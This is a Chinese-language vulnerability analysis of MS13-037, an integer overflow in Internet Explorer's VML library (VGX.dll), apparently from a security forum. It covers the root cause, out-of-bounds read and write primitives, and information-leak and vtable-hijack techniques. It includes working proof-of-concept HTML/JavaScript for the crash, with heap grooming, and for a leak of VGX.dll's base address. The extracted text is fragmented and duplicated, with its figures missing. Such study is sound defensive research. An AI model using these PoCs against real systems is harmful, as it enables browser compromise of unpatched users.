VGX.dll中COALineDashStyleArray::put_length
函数在处理length数据时未做有效验证,以致length为负数可造成整数溢出,进而实现任意读写。
Microsoft Internet Explorer 6—10
MS13-037
VML的全称是Vector Markup Language(矢量可标记语言),其基于XML,矢量图形——意味着图形可以任意放大缩小而不损失图形的质量。VML相当于IE里面的画笔,能实现你所想要的图形,而且结合脚本,可以让图形产生动态的效果。(不仅是IE,Microsoft Office同样支持VML)
使用VML首先要通过<style>
引入:
之后声明VML Namespace:
如此便可添加VML元素以绘制图形。
一例:
Shape是VML最基本的对象,利用它可以画出所有你想要的图形。其主要属性Path可参阅VML Path Attribute—Microsoft Docs。
使用IE打开poc.html
:
允许阻止内容后,WinDbg附加进程并运行,单击crash
按钮,崩溃点如下:
使用gflags.exe
为iexplore.exe
开启页堆,WinDbg启动iexplore.exe
,通过.childdbg 1
命令启用子进程调试并运行后,崩溃点如下:
kb
查看调用堆栈:
重新启动iexplore.exe
,加载VGX.dll
完成后于ORG::Get
函数处设断,查看其this
参数:
继续向下分析,可以看到vgx!ORG
对象结构偏移0x10处存储指向dashstyle
数组指针:
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
操作由memecpy
完成:
漏洞成因显然不位于该函数,继续向上回溯至vgx!COALineDashStyleArray::get_item
,其调用vgx!ORG::CElements
获取数组元素个数:
要读取元素下标需大于0xFFFFFFFF
,小于vgx!ORG
对象结构偏移0x04处值(WORD)。若下标合法,之后便会调用vgx!ORG::Get
。可以从上图看到数组Length值0xffff
,该值需跟进COALineDashStyleArray::put_length
函数分析。
首先获取数组原长度,与更改长度进行比较:
此处即为漏洞触发位置,其调用vgx!ORG::CElements
函数获取长度使用movzx eax, word ptr [eax+4]
指令,将长度当作无符号整数处理(而非采用movsx
指令),但跳转语句jge
是基于有符号整数比较的跳转。
大于等于则会调用vgx!ORG::DeleteRange
:
跟进发现其调用MsoDeletePx
:
继续跟进,写入更改长度操作位于MsoFRemovePx
函数内:
如此一来,将数组Length修改为0xFFFF,进而可以实现越界读写——前文分析vgx!COALineDashStyleArray::get_item
函数对应越界读操作,下面看越界写操作。该操作对应vgx!COALineDashStyleArray::put_item
函数,其与get_item
不同之处是调用vgx!ORG::PGet
函数:
该函数用于计算写入位置:
之后写入操作由put_item
中mov [eax], ecx
指令完成:
有两种信息泄露方法,详见下文分析。
访问_anchorRect
属性时会调用COAShape::get__anchorRect
函数,而该函数会通过malloc
申请0x10字节空间:
该空间用于存储COAReturnedPointsForAnchor
对象:
如此一来,可申请大量空间存储COAReturnedPointsForAnchor
对象,中间放置Dashstyle Array,之后便可访问后续COAReturnedPointsForAnchor
对象虚表以获取VGX.dll基址。但笔者在进行布局时发现其后并非紧接COAReturnedPointsForAnchor
对象:
由上图可以看到是COAShape
对象,其虚表相对于VGX.dll基址偏移为0x82a48
。经计算,读取该地址数组下标为0x12,故笔者构造信息泄露POC如下:
_vgRuntimeStyle.rotation
对应COARuntimeStyle::get_rotation
函数,初次访问会申请0xAC大小空间(COARuntimeStyle::get_rotation
——>CVMLShape::GetRTSInfo
——>CParserTag::GetRTSInfo
):
实际占用空间大小:
那么于其中插入Dashstyle Array大小为0xB0(即44个元素,加上头部占用8字节,恰为0xB8):
之后写_vgRuntimeStyle.marginLeft
,对应COARuntimeStyle::put_marginLeft
函数,由于先前已经申请内存空间,该函数调用CVMLShape::GetRTSInfo
——>CParserTag::GetRTSInfo
时便不会再次申请,而是返回内存地址,写入字符位置相对于该地址偏移为0x58:
而读_vgRuntimeStyle.marginLeft
,对应COARuntimeStyle::get_marginLeft
函数,该函数会将偏移0x58处指针指向内容读取出来:
如此一来,控制0x58处指针内容,可实现任意地址读取。
利用漏洞可读写该地址处内容,下标为0x2E(0x2B对应数组最后一个元素,0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下:
后续覆盖虚表指针劫持EIP部分,可能是由于笔者环境问题,并未完成。重新搭建环境如下:
该环境下对象布局稍有不同:
可以有两种不同的方式覆盖虚表指针。
第一种利用方式若要将栈转移到堆上(没有找到类似xchg ecx,esp
直接交换ECX与ESP的gadget),需要再配合两次漏洞进行越界写:
与之相配合堆上gadgets如下:
而第二种覆盖方式,直接用xchg eax,esp;ret
这样的gadget即可。两种利用方式效果展示:
<style>v\:
*
{ behavior:url(
<style>v\:
*
{ behavior:url(
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<html>
<title>
VML Sample
<
/
title>
<!
-
-
Include the VML behavior
-
-
>
<style>v\:
*
{ behavior:url(
<!
-
-
Declare the VML namespace
-
-
>
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<body>
<v:shape
fillcolor
=
"green"
style
=
"position:relative;top:1;left:1;width:200;height:200"
path
=
"m 1,1 l 1,200, 200,200, 200,1 x e"
>
<
/
v:shape>
<
/
body>
<
/
html>
<html>
<title>
VML Sample
<
/
title>
<!
-
-
Include the VML behavior
-
-
>
<style>v\:
*
{ behavior:url(
<!
-
-
Declare the VML namespace
-
-
>
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<body>
<v:shape
fillcolor
=
"green"
style
=
"position:relative;top:1;left:1;width:200;height:200"
path
=
"m 1,1 l 1,200, 200,200, 200,1 x e"
>
<
/
v:shape>
<
/
body>
<
/
html>
<html>
<head>
<meta http
-
equiv
=
"x-ua-compatible"
content
=
"IE=EmulateIE9"
>
<
/
head>
<title>
POC by VUPEN
<
/
title>
<!
-
-
Include the VML behavior
-
-
>
<style>v\:
*
{ behavior:url(
<!
-
-
Declare the VML namespace
-
-
>
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<script>
var rect_array
=
new Array()
var a
=
new Array()
function createRects(){
for
(var i
=
0
; i<
0x400
; i
+
+
){
rect_array[i]
=
document.createElement(
"v:shape"
)
rect_array[i].
id
=
"rect"
+
i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1
=
document.getElementById(
"vml1"
)
var shape
=
document.getElementById(
"shape"
)
for
(var i
=
0
; i<
0x400
; i
+
+
){
/
/
set
up the heap
a[i]
=
document.getElementById(
"rect"
+
i.toString())._vgRuntimeStyle;
}
for
(var i
=
0
; i<
0x400
; i
+
+
){
a[i].rotation;
/
/
create a COARuntimeStyle
if
(i
=
=
0x300
) {
/
/
allocate an ORG array of size B0h
vml1.dashstyle
=
"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length
=
0
-
1
shape.dashstyle.array.length
=
0
-
1
for
(var i
=
0
; i<
0x400
; i
+
+
) {
a[i].marginLeft
=
"a"
;
marginLeftAddress
=
vml1.dashstyle.array.item(
0x2E
+
0x16
);
if
(marginLeftAddress >
0
) {
try
{
shape.dashstyle.array.item(
0x2E
+
0x16
+
i)
=
0x4b5f5f4b
;
}
catch(e) {
continue
}
}
}
}
<
/
script>
<body onload
=
"createRects();"
>
<v:oval>
<v:stroke
id
=
"vml1"
/
>
<
/
v:oval>
<v:oval>
<v:stroke dashstyle
=
"2 2 2 0 2 2 2 0"
id
=
"shape"
/
>
<
/
v:oval>
<
input
value
=
"crash!!!"
type
=
"button"
onclick
=
"crashme();"
><
/
input
>
<
/
body>
<
/
html>
<html>
<head>
<meta http
-
equiv
=
"x-ua-compatible"
content
=
"IE=EmulateIE9"
>
<
/
head>
<title>
POC by VUPEN
<
/
title>
<!
-
-
Include the VML behavior
-
-
>
<style>v\:
*
{ behavior:url(
<!
-
-
Declare the VML namespace
-
-
>
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<script>
var rect_array
=
new Array()
var a
=
new Array()
function createRects(){
for
(var i
=
0
; i<
0x400
; i
+
+
){
rect_array[i]
=
document.createElement(
"v:shape"
)
rect_array[i].
id
=
"rect"
+
i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1
=
document.getElementById(
"vml1"
)
var shape
=
document.getElementById(
"shape"
)
for
(var i
=
0
; i<
0x400
; i
+
+
){
/
/
set
up the heap
a[i]
=
document.getElementById(
"rect"
+
i.toString())._vgRuntimeStyle;
}
for
(var i
=
0
; i<
0x400
; i
+
+
){
a[i].rotation;
/
/
create a COARuntimeStyle
if
(i
=
=
0x300
) {
/
/
allocate an ORG array of size B0h
vml1.dashstyle
=
"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length
=
0
-
1
shape.dashstyle.array.length
=
0
-
1
for
(var i
=
0
; i<
0x400
; i
+
+
) {
a[i].marginLeft
=
"a"
;
marginLeftAddress
=
vml1.dashstyle.array.item(
0x2E
+
0x16
);
if
(marginLeftAddress >
0
) {
try
{
shape.dashstyle.array.item(
0x2E
+
0x16
+
i)
=
0x4b5f5f4b
;
}
catch(e) {
continue
}
}
}
}
<
/
script>
<body onload
=
"createRects();"
>
<v:oval>
<v:stroke
id
=
"vml1"
/
>
<
/
v:oval>
<v:oval>
<v:stroke dashstyle
=
"2 2 2 0 2 2 2 0"
id
=
"shape"
/
>
<
/
v:oval>
<
input
value
=
"crash!!!"
type
=
"button"
onclick
=
"crashme();"
><
/
input
>
<
/
body>
<
/
html>
for
(var i
=
0
; i<
0x1000
; i
+
+
){
rect_array[i]
=
document.createElement(
"v:shape"
)
rect_array[i].
id
=
"rect"
+
i.toString()
document.body.appendChild(rect_array[i])
}
....
for
(var i
=
0
; i<
0x1000
; i
+
+
){
a[i]
=
document.getElementById(
"rect"
+
i.toString())._anchorRect;
if
(i
=
=
0x800
){
vml1.dashstyle
=
"1 2 3 4"
;
}
}
for
(var i
=
0
; i<
0x1000
; i
+
+
){
rect_array[i]
=
document.createElement(
"v:shape"
)
rect_array[i].
id
=
"rect"
+
i.toString()
document.body.appendChild(rect_array[i])
}
....
for
(var i
=
0
; i<
0x1000
; i
+
+
){
a[i]
=
document.getElementById(
"rect"
+
i.toString())._anchorRect;
if
(i
=
=
0x800
){
vml1.dashstyle
=
"1 2 3 4"
;
}
}
<html>
<head>
<meta http
-
equiv
=
"x-ua-compatible"
content
=
"IE=EmulateIE9"
>
<
/
head>
<title>
INFO LEAK
<
/
title>
<style>v\:
*
{ behavior:url(
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<body onload
=
"createRects(); info_leak();"
>
<v:oval style
=
"width:100pt;height:50pt"
fillcolor
=
"red"
><
/
v:oval>
<v:oval>
<v:stroke
id
=
"vml1"
/
>
<
/
v:oval>
<
/
body>
<script>
var rect_array
=
new Array()
var a
=
new Array()
function createRects(){
for
(var i
=
0
; i<
0x1000
; i
+
+
){
rect_array[i]
=
document.createElement(
"v:shape"
)
rect_array[i].
id
=
"rect"
+
i.toString()
document.body.appendChild(rect_array[i])
}
}
function info_leak(){
var vml1
=
document.getElementById(
"vml1"
)
for
(var i
=
0
; i<
0x1000
; i
+
+
){
a[i]
=
document.getElementById(
"rect"
+
i.toString())._anchorRect;
if
(i
=
=
0x800
){
vml1.dashstyle
=
"1 2 3 4"
;
}
}
vml1.dashstyle.array.length
=
0
-
1
;
var leak
=
vml1.dashstyle.array.item(
0x12
);
alert(leak
-
0x82a48
);
}
<
/
script>
<
/
html>
<html>
<head>
<meta http
-
equiv
=
"x-ua-compatible"
content
=
"IE=EmulateIE9"
>
<
/
head>
<title>
INFO LEAK
<
/
title>
<style>v\:
*
{ behavior:url(
<xml:namespace ns
=
"urn:schemas-microsoft-com:vml"
prefix
=
"v"
/
>
<body onload
=
"createRects(); info_leak();"
>
<v:oval style
=
"width:100pt;height:50pt"
fillcolor
=
"red"
><
/
v:oval>
<v:oval>
<v:stroke
id
=
"vml1"
/
>
<
/
v:oval>
<
/
body>
<script>
var rect_array
=
new Array()
var a
=
new Array()
function createRects(){
for
(var i
=
0
; i<
0x1000
; i
+
+
){
rect_array[i]
=
document.createElement(
"v:shape"
)
rect_array[i].
id
=
"rect"
+
i.toString()
document.body.appendChild(rect_array[i])
}
}
function info_leak(){
var vml1
=
document.getElementById(
"vml1"
)
for
(var i
=
0
; i<
0x1000
; i
+
+
){
a[i]
=
document.getElementById(
"rect"
+
i.toString())._anchorRect;
if
(i
=
=
0x800
){
vml1.dashstyle
=
"1 2 3 4"
;
}
}
vml1.dashstyle.array.length
=
0
-
1
;
var leak
=
vml1.dashstyle.array.item(
0x12
);
alert(leak
-
0x82a48
);
}
<
/
script>
<
/
html>
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!